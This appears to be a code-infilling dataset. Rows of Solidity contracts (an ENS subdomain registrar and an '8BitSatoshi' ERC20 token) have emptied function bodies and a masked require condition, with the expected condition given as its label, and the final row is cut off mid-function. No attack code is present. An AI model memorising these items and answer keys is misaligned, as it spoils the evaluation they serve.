comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"Sub-domain does not exist" | //eip155:1/erc721:0x4b10701bfd7bfedc47d50562b76b436fbb5bdb3b/590
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IReverseResolver {
function setName(string memory name) external;
}
contract Build is Ownable {
using Strings for uint256;
address constant REVERSE_RESOLVER_ADDRESS =
0x084b1c3C81545d370f3634392De611CaaBFf8148;
IReverseResolver public constant ReverseResolver =
IReverseResolver(REVERSE_RESOLVER_ADDRESS);
ENS private constant ens = ENS(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e);
bytes32 public domainHash = 0x689459fc12fab99f0284ac774a0528c055c43b0c966421ff9bb48c7a0db1752e;
mapping(bytes32 => mapping(string => string)) public texts;
string public domainLabel = "10917";
mapping(bytes32 => address) public hashToAddressMap;
mapping(address => bytes32) public addressHashmap; // @rohit need to replace tokenHashmap >> addressHashmap
mapping(bytes32 => string) public hashToDomainMap;
event TextChanged(
bytes32 indexed node,
string indexed indexedKey,
string key
);
event RegisterSubdomain(address indexed registrar, string indexed label);
event AddrChanged(bytes32 indexed node, address a);
event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress);
constructor() {}
function updateDomainHash(bytes32 _domainHash) public {
}
function updateDomainLabel(string memory _domainLabel) public {
}
//<interface-functions>
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
}
function text(bytes32 node, string calldata key)
external
view
returns (string memory)
{
}
// @rohit need to check this out, what can we return from this?
function addr(bytes32 nodeID) public view returns (address) {
}
function name(bytes32 node) public view returns (string memory) {
}
//</interface-functions>
//--------------------------------------------------------------------------------------------//
//<read-functions>
function domainMap(string calldata label) public view returns (bytes32) {
}
//</read-functions>
//--------------------------------------------------------------------------------------------//
//<authorised-functions>
function claimSubdomain(string calldata label) public {
}
function setText(
bytes32 node,
string calldata key,
string calldata value
) external
{
}
function setContractName(string calldata _name) external {
}
function resetHash() public
// isAuthorised(proof)
{
bytes32 currDomainHash = addressHashmap[msg.sender];
require(<FILL_ME>)
//reset domain mappings
delete hashToDomainMap[currDomainHash];
delete hashToAddressMap[currDomainHash];
delete addressHashmap[msg.sender];
emit AddrChanged(currDomainHash, address(0));
}
//</authorised-functions>
//--------------------------------------------------------------------------------------------//
// <owner-functions>
function renounceOwnership() public override {
}
}
| ens.recordExists(currDomainHash),"Sub-domain does not exist" | 67,372 | ens.recordExists(currDomainHash) |
"Cannot re-enable trading" | /**
Website : https://www.8bitsatoshi.com
Telegram : https://t.me/thetickerisbitshomie
Twitter(X) : https://twitter.com/bitsatoshierc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal returns(bool){
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BitSatoshi is ERC20, Ownable {
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) public _isExempt;
uint256 public feeOnBuy;
uint256 public feeOnSell;
uint256 public feeOnTransfer;
uint256 public maxBuyAmntPerTx;
uint256 public maxSellAmntPerTx;
uint256 public maxHoldingAmnt;
address public taxCollector = 0x3cad9eDf8dE509f1831d10772399F0490AaeAc81;
uint256 public taxLiquidationThreshold;
bool private swapping;
bool public swapTaxToETH;
bool public tradeOpen;
event Exempted(address indexed account, bool isExcluded);
event UpdateFees(uint256 feeOnBuy, uint256 feeOnSell);
event SwapAndSendMarketing(uint256 tokensSwapped, uint256 bnbSend);
event TradeEnabled();
constructor() ERC20(unicode"8BitSatoshi", "BITS") {
}
receive() external payable {}
function _openTrading() external onlyOwner {
require(<FILL_ME>)
tradeOpen = true;
swapTaxToETH = true;
emit TradeEnabled();
}
function rescueTokens(address token) external {
}
function excludeWallet(
address account,
bool excluded
) external onlyOwner {
}
function updateMarketingFees(uint256 _buyFee, uint256 _sellFee)
external
onlyOwner
{
}
function removeLimitsAndRenounce() external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendMarketing(uint256 tokenAmount) private {
}
}
| !tradeOpen,"Cannot re-enable trading" | 67,397 | !tradeOpen |
"Account is already the value of 'excluded'" | /**
Website : https://www.8bitsatoshi.com
Telegram : https://t.me/thetickerisbitshomie
Twitter(X) : https://twitter.com/bitsatoshierc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal returns(bool){
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BitSatoshi is ERC20, Ownable {
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) public _isExempt;
uint256 public feeOnBuy;
uint256 public feeOnSell;
uint256 public feeOnTransfer;
uint256 public maxBuyAmntPerTx;
uint256 public maxSellAmntPerTx;
uint256 public maxHoldingAmnt;
address public taxCollector = 0x3cad9eDf8dE509f1831d10772399F0490AaeAc81;
uint256 public taxLiquidationThreshold;
bool private swapping;
bool public swapTaxToETH;
bool public tradeOpen;
event Exempted(address indexed account, bool isExcluded);
event UpdateFees(uint256 feeOnBuy, uint256 feeOnSell);
event SwapAndSendMarketing(uint256 tokensSwapped, uint256 bnbSend);
event TradeEnabled();
constructor() ERC20(unicode"8BitSatoshi", "BITS") {
}
receive() external payable {}
function _openTrading() external onlyOwner {
}
function rescueTokens(address token) external {
}
function excludeWallet(
address account,
bool excluded
) external onlyOwner {
require(<FILL_ME>)
_isExempt[account] = excluded;
emit Exempted(account, excluded);
}
function updateMarketingFees(uint256 _buyFee, uint256 _sellFee)
external
onlyOwner
{
}
function removeLimitsAndRenounce() external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndSendMarketing(uint256 tokenAmount) private {
}
}
| _isExempt[account]!=excluded,"Account is already the value of 'excluded'" | 67,397 | _isExempt[account]!=excluded |
"You are exceeding maxHoldingAmnt" | /**
Website : https://www.8bitsatoshi.com
Telegram : https://t.me/thetickerisbitshomie
Twitter(X) : https://twitter.com/bitsatoshierc
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal returns(bool){
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract BitSatoshi is ERC20, Ownable {
using Address for address payable;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) public _isExempt;
uint256 public feeOnBuy;
uint256 public feeOnSell;
uint256 public feeOnTransfer;
uint256 public maxBuyAmntPerTx;
uint256 public maxSellAmntPerTx;
uint256 public maxHoldingAmnt;
address public taxCollector = 0x3cad9eDf8dE509f1831d10772399F0490AaeAc81;
uint256 public taxLiquidationThreshold;
bool private swapping;
bool public swapTaxToETH;
bool public tradeOpen;
event Exempted(address indexed account, bool isExcluded);
event UpdateFees(uint256 feeOnBuy, uint256 feeOnSell);
event SwapAndSendMarketing(uint256 tokensSwapped, uint256 bnbSend);
event TradeEnabled();
constructor() ERC20(unicode"8BitSatoshi", "BITS") {
}
receive() external payable {}
function _openTrading() external onlyOwner {
}
function rescueTokens(address token) external {
}
function excludeWallet(
address account,
bool excluded
) external onlyOwner {
}
function updateMarketingFees(uint256 _buyFee, uint256 _sellFee)
external
onlyOwner
{
}
function removeLimitsAndRenounce() external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0x0), "ERC20: transfer from the zero address");
require(to != address(0x0), "ERC20: transfer to the zero address");
if (!_isExempt[from] && !_isExempt[to]) {
require(tradeOpen, "Trading not enabled");
}
if (from == uniswapV2Pair && !_isExempt[to]) {
require(amount <= maxBuyAmntPerTx, "You are exceeding maxBuyAmntPerTx");
require(<FILL_ME>)
}
if (
from != uniswapV2Pair &&
!_isExempt[to] &&
!_isExempt[from]
) {
require(amount <= maxSellAmntPerTx, "You are exceeding maxSellAmntPerTx");
if (to != uniswapV2Pair) {
require(
balanceOf(to) + amount <= maxHoldingAmnt,
"You are exceeding maxHoldingAmnt"
);
}
}
if (amount == 0) {
super._transfer(from, to, 0);
